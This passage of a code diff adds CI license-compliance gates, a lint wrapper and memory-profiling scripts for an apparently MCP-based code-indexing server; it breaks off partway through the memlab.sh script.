||||
|
||||
Walks the production tree (the packages whose code is compiled into the UI
|
||||
bundle; platform-restricted native build tooling is excluded the same way
|
||||
gen-ui-licenses.py excludes it) and fails if ANY package's license is not
|
||||
on the policy allow-list. Packages with no declared license fall back to
|
||||
the first line of their shipped license file; if that cannot be resolved
|
||||
either, the gate fails — unknown is not allowed.
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
FILE_HEADER_MAP = {
|
||||
"mit license": "MIT",
|
||||
"the mit license": "MIT",
|
||||
"the mit license (mit)": "MIT",
|
||||
"apache license": "Apache-2.0",
|
||||
"isc license": "ISC",
|
||||
"bsd 2-clause license": "BSD-2-Clause",
|
||||
"bsd 3-clause license": "BSD-3-Clause",
|
||||
"the unlicense": "Unlicense",
|
||||
}
|
||||
|
||||
|
||||
def license_from_file(pkg_dir):
|
||||
for fname in sorted(os.listdir(pkg_dir)):
|
||||
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "UNLICENSE")):
|
||||
try:
|
||||
with open(os.path.join(pkg_dir, fname), encoding="utf-8",
|
||||
errors="replace") as fh:
|
||||
first = fh.readline().strip().lower()
|
||||
return FILE_HEADER_MAP.get(first)
|
||||
except OSError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def collect(ui_dir, dep_tree, out):
|
||||
for name, info in (dep_tree or {}).items():
|
||||
version = info.get("version")
|
||||
if not version:
|
||||
continue
|
||||
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
|
||||
try:
|
||||
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
|
||||
meta = json.load(fh)
|
||||
except (OSError, ValueError):
|
||||
continue
|
||||
if meta.get("os") or meta.get("cpu"):
|
||||
continue # platform-restricted native build tooling, not bundled
|
||||
lic = meta.get("license", "")
|
||||
if isinstance(lic, dict):
|
||||
lic = lic.get("type", "")
|
||||
out[(name, version)] = (str(lic or ""), pkg_dir)
|
||||
collect(ui_dir, info.get("dependencies"), out)
|
||||
|
||||
|
||||
def main():
|
||||
ui_dir, policy_path = sys.argv[1], sys.argv[2]
|
||||
with open(policy_path) as fh:
|
||||
policy = json.load(fh)
|
||||
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
|
||||
ignored_pkgs = set(policy.get("ignored_npm_packages", []))
|
||||
skip_tokens = {"and", "or", "with", ""}
|
||||
|
||||
# shell=True so the npm shim resolves on every platform (npm.cmd on
|
||||
# Windows is not found by bare-name exec). Constant command, no injection.
|
||||
ls = subprocess.run("npm ls --omit=dev --all --json",
|
||||
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False)
|
||||
tree = json.loads(ls.stdout or "{}")
|
||||
pkgs = {}
|
||||
collect(ui_dir, tree.get("dependencies"), pkgs)
|
||||
if not pkgs:
|
||||
print("FAIL: npm production tree resolved to zero packages — "
|
||||
"is node_modules installed?")
|
||||
sys.exit(1)
|
||||
|
||||
violations = []
|
||||
for (name, version), (lic, pkg_dir) in sorted(pkgs.items()):
|
||||
if name in ignored_pkgs:
|
||||
continue
|
||||
if not lic:
|
||||
lic = license_from_file(pkg_dir) or ""
|
||||
if not lic:
|
||||
violations.append((f"{name}@{version}", "no resolvable license"))
|
||||
continue
|
||||
for tok in re.split(r"[\s()]+", lic):
|
||||
if tok.lower() in skip_tokens:
|
||||
continue
|
||||
if tok.lower() not in allowed:
|
||||
violations.append((f"{name}@{version}", lic))
|
||||
break
|
||||
|
||||
if violations:
|
||||
print("BLOCKED: %d UI package(s) outside the license allow-list:" % len(violations))
|
||||
for pkg, lic in violations[:25]:
|
||||
print(f" {pkg}: {lic}")
|
||||
sys.exit(1)
|
||||
print(f"OK: {len(pkgs)} bundled npm packages, all allow-listed")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
"""License-gate policy check over a ScanCode Toolkit JSON scan.
|
||||
|
||||
Usage: license-gate-check.py <scan.json> <license-policy.json>
|
||||
|
||||
Fails (exit 1) if ANY scanned file carries a detected license expression
|
||||
containing an SPDX id outside the policy allow-list — one finding is enough.
|
||||
"""
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
|
||||
|
||||
def main():
|
||||
scan_path, policy_path = sys.argv[1], sys.argv[2]
|
||||
with open(policy_path) as fh:
|
||||
policy = json.load(fh)
|
||||
allowed = {x.lower() for x in policy["allowed_spdx_ids"]}
|
||||
ignored_paths = tuple(policy.get("ignored_paths", []))
|
||||
skip_tokens = {"and", "or", "with", ""}
|
||||
|
||||
with open(scan_path) as fh:
|
||||
scan = json.load(fh)
|
||||
|
||||
violations = []
|
||||
checked = 0
|
||||
for f in scan.get("files", []):
|
||||
path = f.get("path", "?")
|
||||
if f.get("type") != "file":
|
||||
continue
|
||||
if ignored_paths and path.startswith(ignored_paths):
|
||||
continue
|
||||
expr = f.get("detected_license_expression_spdx")
|
||||
if not expr:
|
||||
continue
|
||||
checked += 1
|
||||
for tok in re.split(r"[\s()]+", expr):
|
||||
if tok.lower() in skip_tokens:
|
||||
continue
|
||||
if tok.lower() not in allowed:
|
||||
violations.append((path, expr, tok))
|
||||
break
|
||||
|
||||
if violations:
|
||||
print("BLOCKED: %d file(s) with non-allow-listed license detections:" % len(violations))
|
||||
for path, expr, tok in violations[:25]:
|
||||
print(" %s: '%s' (offending id: %s)" % (path, expr, tok))
|
||||
sys.exit(1)
|
||||
print("OK: %d detection(s), all allow-listed" % checked)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,124 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# CI license-compliance gate (runs in the security workflow for both dry
|
||||
# runs and releases). Two layers:
|
||||
# 1) Structural: every vendored component directory must physically carry
|
||||
# a license file.
|
||||
# 2) ScanCode Toolkit license detection over every vendored license text
|
||||
# and all first-party sources; ONE detection outside
|
||||
# scripts/license-policy.json fails the gate (see license-gate-check.py).
|
||||
#
|
||||
# Grammar parser bodies (generated parser.c, no headers) are excluded from
|
||||
# the ScanCode pass for runtime; their per-directory license files ARE
|
||||
# scanned, and layer 1 guarantees each grammar carries one.
|
||||
#
|
||||
# Requires: scancode (pipx install scancode-toolkit), python3.
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
# --selftest: plant a violation and assert the structural layer catches it.
|
||||
# Run in CI before the real gate so a silently-broken gate cannot pass.
|
||||
if [ "${1:-}" = "--selftest" ]; then
|
||||
TESTDIR="$ROOT/vendored/.gate-selftest-$$"
|
||||
mkdir -p "$TESTDIR"
|
||||
echo "int x;" > "$TESTDIR/x.c"
|
||||
# The child gate exits 1 on the planted violation (that is the point) —
|
||||
# capture its output first so pipefail cannot mask the grep result.
|
||||
GATE_OUT="$("$0" 2>/dev/null || true)"
|
||||
rm -rf "$TESTDIR"
|
||||
if printf '%s' "$GATE_OUT" | grep -q "BLOCKED: vendored code in .*gate-selftest"; then
|
||||
echo "OK: gate self-test — planted violation was detected"
|
||||
exit 0
|
||||
fi
|
||||
echo "FAIL: gate self-test — planted unlicensed file was NOT detected"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== License gate 1/2: structural coverage ==="
|
||||
# Rule: every directory under either vendored tree that contains source or
|
||||
# data files must have a license file in itself or an ancestor directory
|
||||
# WITHIN the vendored tree. No hardcoded component list — newly vendored
|
||||
# code with no license is flagged immediately.
|
||||
MISS=0
|
||||
has_license_dir() {
|
||||
ls "$1" 2>/dev/null | grep -qiE '^(LICENSE|LICENCE|COPYING|UNLICENSE|NOTICE)'
|
||||
}
|
||||
for root in vendored internal/cbm/vendored; do
|
||||
find "$root" -type f \
|
||||
\( -name '*.c' -o -name '*.h' -o -name '*.cpp' -o -name '*.hpp' \
|
||||
-o -name '*.S' -o -name '*.bin' -o -name '*.txt' \) \
|
||||
! -iname 'LICENSE*' ! -iname 'COPYING*' ! -iname 'NOTICE*' \
|
||||
-exec dirname {} \; | LC_ALL=C sort -u | while IFS= read -r d; do
|
||||
cur="$d"
|
||||
covered=1
|
||||
while :; do
|
||||
if has_license_dir "$cur"; then
|
||||
covered=0
|
||||
break
|
||||
fi
|
||||
[ "$cur" = "$root" ] && break
|
||||
cur="$(dirname "$cur")"
|
||||
done
|
||||
if [ $covered -ne 0 ]; then
|
||||
echo "BLOCKED: vendored code in $d has no license file in itself or any ancestor within $root/"
|
||||
fi
|
||||
done > /tmp/license-gate-structural.$$
|
||||
if [ -s /tmp/license-gate-structural.$$ ]; then
|
||||
cat /tmp/license-gate-structural.$$
|
||||
MISS=1
|
||||
fi
|
||||
rm -f /tmp/license-gate-structural.$$
|
||||
done
|
||||
if [ $MISS -ne 0 ]; then
|
||||
echo "=== LICENSE GATE FAILED (structural) ==="
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: every vendored source directory is covered by a license file"
|
||||
|
||||
echo "=== License gate 2/2: ScanCode detection ==="
|
||||
if ! command -v scancode &>/dev/null; then
|
||||
echo "FAIL: scancode not installed (pipx install scancode-toolkit)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
STAGE="$(mktemp -d)"
|
||||
trap 'rm -rf "$STAGE"' EXIT
|
||||
|
||||
# Inputs: all vendored license/notice texts + all first-party sources.
|
||||
find vendored internal/cbm/vendored -type f \
|
||||
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
|
||||
> "$STAGE/files.txt"
|
||||
find src pkg scripts -type f \
|
||||
\( -name '*.c' -o -name '*.h' -o -name '*.sh' -o -name '*.js' \
|
||||
-o -name '*.py' -o -name '*.rb' -o -name '*.toml' -o -name '*.json' \) \
|
||||
>> "$STAGE/files.txt"
|
||||
|
||||
mkdir -p "$STAGE/tree"
|
||||
tar cf - -T "$STAGE/files.txt" | tar xf - -C "$STAGE/tree"
|
||||
|
||||
scancode --license --quiet --processes 2 --json-pp "$STAGE/scan.json" "$STAGE/tree" \
|
||||
> "$STAGE/scancode.log" 2>&1 || {
|
||||
echo "FAIL: scancode run failed:"
|
||||
tail -20 "$STAGE/scancode.log"
|
||||
exit 1
|
||||
}
|
||||
|
||||
python3 scripts/license-gate-check.py "$STAGE/scan.json" scripts/license-policy.json
|
||||
|
||||
echo "=== License gate 3/3: UI npm production tree ==="
|
||||
# The -ui binaries embed the compiled frontend bundle; its production
|
||||
# dependency tree must be allow-listed too. --ignore-scripts: no dependency
|
||||
# postinstall code runs inside the security job.
|
||||
if command -v npm &>/dev/null && [ -f graph-ui/package-lock.json ]; then
|
||||
if [ ! -d graph-ui/node_modules ]; then
|
||||
(cd graph-ui && npm ci --ignore-scripts --silent)
|
||||
fi
|
||||
python3 scripts/license-gate-check-npm.py graph-ui scripts/license-policy.json
|
||||
else
|
||||
echo "FAIL: npm or graph-ui/package-lock.json unavailable — UI tree unchecked"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== License gate passed ==="
|
||||
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"_comment": "License allow-list for the CI license gate (scripts/license-gate.sh). A single detected SPDX id outside this list fails the pipeline. Additions to this list are deliberate, reviewed changes \u2014 never add copyleft (GPL/LGPL/AGPL/EPL/SSPL) without a maintainer decision.",
|
||||
"allowed_spdx_ids": [
|
||||
"MIT",
|
||||
"MIT-0",
|
||||
"Apache-2.0",
|
||||
"BSD-2-Clause",
|
||||
"BSD-3-Clause",
|
||||
"0BSD",
|
||||
"ISC",
|
||||
"Zlib",
|
||||
"Unlicense",
|
||||
"CC0-1.0",
|
||||
"blessing",
|
||||
"LLVM-exception",
|
||||
"LicenseRef-scancode-public-domain",
|
||||
"LicenseRef-scancode-public-domain-disclaimer"
|
||||
],
|
||||
"_ignored_paths_comment": "Path prefixes (relative to the staged scan tree) excluded from the gate. Use ONLY for documented false positives. Justifications: the license tooling itself (gate scripts + this policy file) necessarily names prohibited licenses; gen-third-party-notices.sh echoes license terminology; audit-license-provenance.py names licenses in its verdict maps; src/discover/discover.c contains a license-FILENAME classification list (LICENSE-MIT, LICENSE-APACHE, ...) for file discovery, which ScanCode reads as license references.",
|
||||
"ignored_paths": [
|
||||
"tree/scripts/license-policy.json",
|
||||
"tree/scripts/license-gate-check.py",
|
||||
"tree/scripts/license-gate.sh",
|
||||
"tree/scripts/gen-third-party-notices.sh",
|
||||
"tree/src/discover/discover.c",
|
||||
"tree/scripts/audit-license-provenance.py"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env bash
|
||||
# lint.sh — Run all linters (clang-tidy + cppcheck + clang-format).
|
||||
#
|
||||
# Usage:
|
||||
# scripts/lint.sh # All 3 linters
|
||||
# scripts/lint.sh CLANG_FORMAT=clang-format-20 # Override formatter
|
||||
# scripts/lint.sh --ci # CI mode (skip clang-tidy)
|
||||
#
|
||||
# This script is the SINGLE source of truth for linting.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
# shellcheck source=env.sh
|
||||
source "$ROOT/scripts/env.sh"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/lint.sh [--ci] [VAR=VAL ...]
|
||||
|
||||
The canonical lint entry: CI (_lint.yml) calls this script; it drives the same
|
||||
Makefile.cbm lint targets `make lint`/`make lint-ci` run, plus the no-skips
|
||||
policy check. Runs clang-tidy + cppcheck + clang-format by default.
|
||||
|
||||
Options:
|
||||
--ci CI mode: cppcheck + clang-format only (no clang-tidy) —
|
||||
exactly what _lint.yml gates on. `make lint-ci` uses this.
|
||||
VAR=VAL Forwarded to make, e.g. CLANG_FORMAT=clang-format-20.
|
||||
NOTE: the project formatter is the Homebrew LLVM build; a
|
||||
standalone clang-format-20 produces false whole-file drift.
|
||||
-h, --help This text.
|
||||
EOF
|
||||
}
|
||||
|
||||
# Check for --ci flag (skip clang-tidy for platforms without it)
|
||||
CI_ONLY=false
|
||||
MAKE_ARGS=()
|
||||
for arg in "$@"; do
|
||||
if [ "$arg" = "-h" ] || [ "$arg" = "--help" ]; then
|
||||
usage; exit 0
|
||||
elif [ "$arg" = "--ci" ]; then
|
||||
CI_ONLY=true
|
||||
else
|
||||
# STRICT: only VAR=VAL make passthrough beyond the known flags.
|
||||
case "$arg" in
|
||||
*=*) MAKE_ARGS+=("$arg") ;;
|
||||
*)
|
||||
echo "lint.sh: unknown argument '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
done
|
||||
|
||||
print_env "lint.sh"
|
||||
|
||||
# No-skips policy: every test must pass or fail. The only tolerable skip is a
|
||||
# genuinely platform-specific test (SKIP_PLATFORM / #ifdef). Runs in both modes.
|
||||
echo "=== no-skips policy (tests pass or fail) ==="
|
||||
bash "$ROOT/scripts/check-no-test-skips.sh"
|
||||
|
||||
if $CI_ONLY; then
|
||||
echo "=== CI mode: cppcheck + clang-format ==="
|
||||
make -j2 -f Makefile.cbm lint-ci "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
|
||||
echo "=== CI linters passed ==="
|
||||
else
|
||||
echo "=== Full lint: clang-tidy + cppcheck + clang-format ==="
|
||||
make -j3 -f Makefile.cbm lint "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
|
||||
fi
|
||||
|
||||
echo "=== All linters passed ==="
|
||||
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Drive a fixed sequence of MCP requests over stdio and wait for each reply.
|
||||
|
||||
Batching all requests and closing stdin does not work: the server treats EOF as
|
||||
the client disconnecting and shuts down before answering, so the run produces a
|
||||
census of a process that never did any work. Reading each response before
|
||||
sending the next also makes the workload deterministic — every request is
|
||||
serviced from the same steady state, which is what makes two runs comparable.
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
def rpc(proc, payload, timeout_note):
|
||||
proc.stdin.write(json.dumps(payload) + "\n")
|
||||
proc.stdin.flush()
|
||||
while True:
|
||||
line = proc.stdout.readline()
|
||||
if not line:
|
||||
raise RuntimeError(f"server closed stdout while waiting for {timeout_note}")
|
||||
line = line.strip()
|
||||
if not line.startswith("{"):
|
||||
continue
|
||||
try:
|
||||
message = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
if message.get("id") == payload.get("id"):
|
||||
return message
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("binary")
|
||||
parser.add_argument("corpus")
|
||||
parser.add_argument("requests", type=int)
|
||||
parser.add_argument("--stderr", help="file for the server's stderr; never discard it")
|
||||
parser.add_argument("--tool", default="search_graph",
|
||||
help="tool to repeat; varying it isolates which path leaks")
|
||||
parser.add_argument("--idle-seconds", type=float, default=0.0,
|
||||
help="pause midway; separates per-request growth from per-second growth")
|
||||
parser.add_argument("--skip-index", action="store_true",
|
||||
help="omit the initial index, to separate store setup from the loop")
|
||||
args = parser.parse_args()
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[args.binary],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
# Never DEVNULL: when the server refuses to start, its stderr is the
|
||||
# only thing that says why.
|
||||
stderr=open(args.stderr, "w") if args.stderr else None,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
)
|
||||
served = 0
|
||||
failures = 0
|
||||
try:
|
||||
rpc(proc, {"jsonrpc": "2.0", "id": 0, "method": "initialize",
|
||||
"params": {"protocolVersion": "2024-11-05", "capabilities": {},
|
||||
"clientInfo": {"name": "memlab", "version": "1"}}},
|
||||
"initialize")
|
||||
if not args.skip_index:
|
||||
indexed = rpc(proc, {"jsonrpc": "2.0", "id": 1, "method": "tools/call",
|
||||
"params": {"name": "index_repository",
|
||||
"arguments": {"path": args.corpus}}},
|
||||
"index_repository")
|
||||
if "error" in indexed:
|
||||
print(f"index failed: {indexed['error']}", file=sys.stderr)
|
||||
return 3
|
||||
|
||||
halfway = 2 + args.requests // 2
|
||||
for i in range(2, args.requests + 2):
|
||||
if args.idle_seconds > 0 and i == halfway:
|
||||
# Nothing is requested during this gap. Any commit growth across
|
||||
# it belongs to a background thread, not the request path.
|
||||
print(f"idle-start id={i}", flush=True)
|
||||
time.sleep(args.idle_seconds)
|
||||
print(f"idle-end id={i}", flush=True)
|
||||
arguments = {"search_graph": {"name_pattern": ".*Widget.*", "limit": 10},
|
||||
"list_projects": {},
|
||||
"get_graph_schema": {},
|
||||
"search_code": {"pattern": "Widget"}}.get(args.tool, {})
|
||||
reply = rpc(proc, {"jsonrpc": "2.0", "id": i, "method": "tools/call",
|
||||
"params": {"name": args.tool, "arguments": arguments}},
|
||||
f"request {i}")
|
||||
served += 1
|
||||
if "error" in reply:
|
||||
failures += 1
|
||||
finally:
|
||||
try:
|
||||
proc.stdin.close()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
proc.wait(timeout=30)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.kill()
|
||||
|
||||
print(f"served={served} failed={failures}")
|
||||
return 0 if served == args.requests and failures == 0 else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,157 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Analyse #581 memory-lab output: attribute growth to allocation sites.
|
||||
|
||||
Reads the JSONL the profiler appends (CBM_MEM_PROFILE_OUT) and the mem.census
|
||||
lines from a daemon log, and prints:
|
||||
|
||||
* retention per request, as a linear fit rather than first-vs-last, so noise
|
||||
does not masquerade as a trend
|
||||
* the call sites whose live bytes grow across the run, ranked by growth
|
||||
* an explicit unattributed remainder: process growth the profiler could not
|
||||
account for. That number is the honesty check — a report that attributed
|
||||
everything while tracking only >=32 KiB allocations would be lying.
|
||||
|
||||
Usage:
|
||||
memlab-report.py <profile.jsonl> [--census <daemon.log>] [--top N]
|
||||
memlab-report.py <a.jsonl> --diff <b.jsonl> # platform comparison
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from collections import defaultdict
|
||||
|
||||
|
||||
def load_profile(path):
|
||||
"""Return (summaries, site_series). Records are appended over time, so the
|
||||
Nth occurrence of a site is its Nth sample."""
|
||||
summaries, series = [], defaultdict(list)
|
||||
with open(path, "r", errors="replace") as handle:
|
||||
for line in handle:
|
||||
line = line.strip()
|
||||
if not line.startswith("{"):
|
||||
continue
|
||||
try:
|
||||
record = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
if "site" in record:
|
||||
series[record["site"]].append(record)
|
||||
else:
|
||||
summaries.append(record)
|
||||
return summaries, series
|
||||
|
||||
|
||||
def linear_slope(values):
|
||||
"""Least-squares slope over sample index. Resistant to the single-outlier
|
||||
reading that a first-vs-last delta would treat as the whole trend."""
|
||||
n = len(values)
|
||||
if n < 2:
|
||||
return 0.0
|
||||
mean_x = (n - 1) / 2.0
|
||||
mean_y = sum(values) / n
|
||||
num = sum((i - mean_x) * (v - mean_y) for i, v in enumerate(values))
|
||||
den = sum((i - mean_x) ** 2 for i in range(n))
|
||||
return num / den if den else 0.0
|
||||
|
||||
|
||||
def parse_census(path):
|
||||
"""Pull the pool totals out of mem.census log lines."""
|
||||
fields = ("priv_kb", "rss_kb", "crt_kb", "biggest_kb", "prof_live_kb")
|
||||
rows = []
|
||||
pattern = re.compile(r"(\w+)=(\S+)")
|
||||
with open(path, "r", errors="replace") as handle:
|
||||
for line in handle:
|
||||
if "mem.census" not in line:
|
||||
continue
|
||||
kv = dict(pattern.findall(line))
|
||||
if not any(f in kv for f in fields):
|
||||
continue
|
||||
rows.append({f: int(kv[f]) for f in fields if f in kv and kv[f].isdigit()})
|
||||
return rows
|
||||
|
||||
|
||||
def report(path, census_path, top):
|
||||
summaries, series = load_profile(path)
|
||||
if not summaries and not series:
|
||||
print(f"{path}: no profiler records — was CBM_MEM_PROFILE=1 set?")
|
||||
return
|
||||
last = summaries[-1] if summaries else {}
|
||||
print(f"=== {path} ===")
|
||||
if last:
|
||||
print(f"threshold : {last.get('threshold', 0)} bytes "
|
||||
f"(allocations below this are invisible by design)")
|
||||
print(f"sites seen : {last.get('sites', 0)}")
|
||||
print(f"attributed live: {last.get('live_bytes', 0)/1048576:.1f} MB "
|
||||
f"in {last.get('live_blocks', 0)} blocks")
|
||||
lost = last.get("site_table_full", 0) + last.get("pointer_table_full", 0)
|
||||
if lost:
|
||||
print(f"RECORDS LOST : {lost} — tables exhausted, treat totals as a floor")
|
||||
|
||||
growth = []
|
||||
for site, samples in series.items():
|
||||
live = [s["live_bytes"] for s in samples]
|
||||
slope = linear_slope(live)
|
||||
if slope <= 0 and live[-1] <= live[0]:
|
||||
continue
|
||||
growth.append((slope, live[-1] - live[0], live[-1], samples[-1]))
|
||||
growth.sort(key=lambda row: row[0], reverse=True)
|
||||
|
||||
print(f"\n--- sites whose retained bytes GROW (top {top}) ---")
|
||||
if not growth:
|
||||
print("none — no tracked site retains more over time.")
|
||||
for slope, delta, live, sample in growth[:top]:
|
||||
frames = " <- ".join(sample.get("frames", [])[:4])
|
||||
print(f" +{slope/1024:8.1f} KB/sample total +{delta/1048576:6.2f} MB "
|
||||
f"live {live/1048576:6.2f} MB")
|
||||
print(f" {frames}")
|
||||
|
||||
if census_path:
|
||||
rows = parse_census(census_path)
|
||||
if rows:
|
||||
priv = [r["priv_kb"] for r in rows if "priv_kb" in r]
|
||||
prof = [r["prof_live_kb"] for r in rows if "prof_live_kb" in r]
|
||||
print(f"\n--- pools vs attribution ({len(rows)} samples) ---")
|
||||
if priv:
|
||||
print(f" private committed : {priv[0]/1024:.1f} -> {priv[-1]/1024:.1f} MB "
|
||||
f"({linear_slope(priv):+.1f} KB/sample)")
|
||||
if prof and priv:
|
||||
unattributed = (priv[-1] - priv[0]) - (prof[-1] - prof[0])
|
||||
print(f" attributed growth : {(prof[-1]-prof[0])/1024:+.1f} MB")
|
||||
print(f" UNATTRIBUTED : {unattributed/1024:+.1f} MB "
|
||||
"<- below-threshold allocations, allocator metadata, or fragmentation")
|
||||
|
||||
|
||||
def diff(path_a, path_b, top):
|
||||
"""Same sites, two platforms: what does one retain that the other does not?"""
|
||||
_, series_a = load_profile(path_a)
|
||||
_, series_b = load_profile(path_b)
|
||||
rows = []
|
||||
for site, samples in series_a.items():
|
||||
a_live = samples[-1]["live_bytes"]
|
||||
b_live = series_b[site][-1]["live_bytes"] if site in series_b else 0
|
||||
if a_live - b_live > 0:
|
||||
rows.append((a_live - b_live, a_live, b_live, samples[-1]))
|
||||
rows.sort(key=lambda row: row[0], reverse=True)
|
||||
print(f"=== {path_a} minus {path_b} (top {top}) ===")
|
||||
for delta, a_live, b_live, sample in rows[:top]:
|
||||
print(f" +{delta/1048576:7.2f} MB A={a_live/1048576:.2f} MB B={b_live/1048576:.2f} MB")
|
||||
print(f" {' <- '.join(sample.get('frames', [])[:4])}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("profile")
|
||||
parser.add_argument("--census")
|
||||
parser.add_argument("--diff")
|
||||
parser.add_argument("--top", type=int, default=12)
|
||||
args = parser.parse_args()
|
||||
if args.diff:
|
||||
diff(args.profile, args.diff, args.top)
|
||||
else:
|
||||
report(args.profile, args.census, args.top)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# memlab.sh — deterministic memory-attribution run for #581.
|
||||
#
|
||||
# The soak answers "did memory grow over eight minutes"; this answers "which
|
||||
# allocation sites retained it", in about a minute, with a fixed request count
|
||||
# so two runs are directly comparable. Everything that made soak numbers hard
|
||||
# to compare — wall-clock duration, background reindexes, crash-recovery
|
||||
# phases, throughput differences between builds — is deliberately absent.
|
||||
#
|
||||
# Usage: scripts/memlab.sh <binary> [requests] [label]
|
||||
#
|
||||
# Output: memlab-<label>.jsonl (profiler records, one block per sample)
|
||||
# memlab-<label>.log (daemon log with mem.census lines)
|
||||
# Analyse with: scripts/memlab-report.py memlab-<label>.jsonl --census memlab-<label>.log
|
||||
set -u
|
||||
|
||||
BINARY="${1:?usage: memlab.sh <binary> [requests] [label]}"
|
||||
REQUESTS="${2:-200}"
|
||||
LABEL="${3:-$(uname -s | tr '[:upper:]' '[:lower:]')}"
|
||||
|
||||
if [ ! -x "$BINARY" ]; then
|
||||
echo "FAIL: $BINARY is not executable" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
WORK=$(mktemp -d 2>/dev/null || mktemp -d -t memlab)
|
||||
|
||||
# Native Windows: the server walks the full ancestor chain of both the binary
|
||||
# and the cache dir and refuses to start when any ancestor grants mutation to
|
||||
# untrusted SIDs. The repo checkout and the msys /tmp tree both carry such ACEs,
|
||||
# so the run has to happen from a stamped root under USERPROFILE — the same
|
||||
# reason soak-test.sh and the guard suites copy their binaries there.
|
||||
if [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1 &&
|
||||
! command -v winepath >/dev/null 2>&1; then
|
||||
WIN_ROOT=$(mktemp -d "$(cygpath "$USERPROFILE")/cbm-memlab.XXXXXX")
|
||||
WIN_ROOT_W="$(cygpath -w "$WIN_ROOT")"
|
||||
ME="$(whoami | tr -d '\r')"
|
||||
MSYS2_ARG_CONV_EXCL='*' icacls "$WIN_ROOT_W" /reset /Q >/dev/null 2>&1 || true
|
||||
if ! MSYS2_ARG_CONV_EXCL='*' icacls "$WIN_ROOT_W" /inheritance:r \
|
||||
/grant:r "${ME}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
|
||||
/Q >/dev/null 2>&1; then
|
||||
echo "FAIL: could not stamp $WIN_ROOT_W" >&2
|
||||
exit 1
|
||||
fi
|
||||
cp "$BINARY" "$WIN_ROOT/codebase-memory-mcp.exe"
|
||||
BINARY="$WIN_ROOT/codebase-memory-mcp.exe"
|
||||
WORK="$WIN_ROOT"
|
||||
MSYS2_ARG_CONV_EXCL='*' icacls "${WIN_ROOT_W}\\*" /reset /T /C /Q >/dev/null 2>&1 || true
|
||||
fi
|
||||
PROFILE_OUT="$PWD/memlab-${LABEL}.jsonl"
|
||||
RUN_LOG="$PWD/memlab-${LABEL}.log"
|
||||
rm -f "$PROFILE_OUT" "$RUN_LOG"
|
||||
|
||||
cleanup() { rm -rf "$WORK" 2>/dev/null || true; rm -rf "${WIN_ROOT:-}" 2>/dev/null || true; }
|
||||
trap cleanup EXIT
|
||||
|
||||
# A fixed corpus: same file count and content on every platform, so a
|
||||
# difference in the output cannot come from a difference in the input.
|
||||
CORPUS="$WORK/corpus"
|
||||
mkdir -p "$CORPUS/src"
|
||||
for i in $(seq 1 60); do
|
||||
cat > "$CORPUS/src/module_$i.py" <<EOF
|
||||
class Widget$i:
|
||||
"""Fixed corpus file $i."""
|
||||
def __init__(self, name):
|
||||
self.name = name
|
||||
self.parts = []
|
||||
|
||||
def attach(self, part):
|
||||
self.parts.append(part)
|
||||
return self
|
||||
|
||||
def render(self):
|
||||
return "-".join(str(p) for p in self.parts)
|
||||
|
||||
def build_$i(count):
|
||||
widget = Widget$i("w$i")
|
||||
for index in range(count):
|
||||
widget.attach(index)
|
||||
return widget.render()
|
||||
EOF
|
||||
done
|
||||
|
||||
echo "=== memlab: binary=$BINARY requests=$REQUESTS label=$LABEL ==="
|
||||
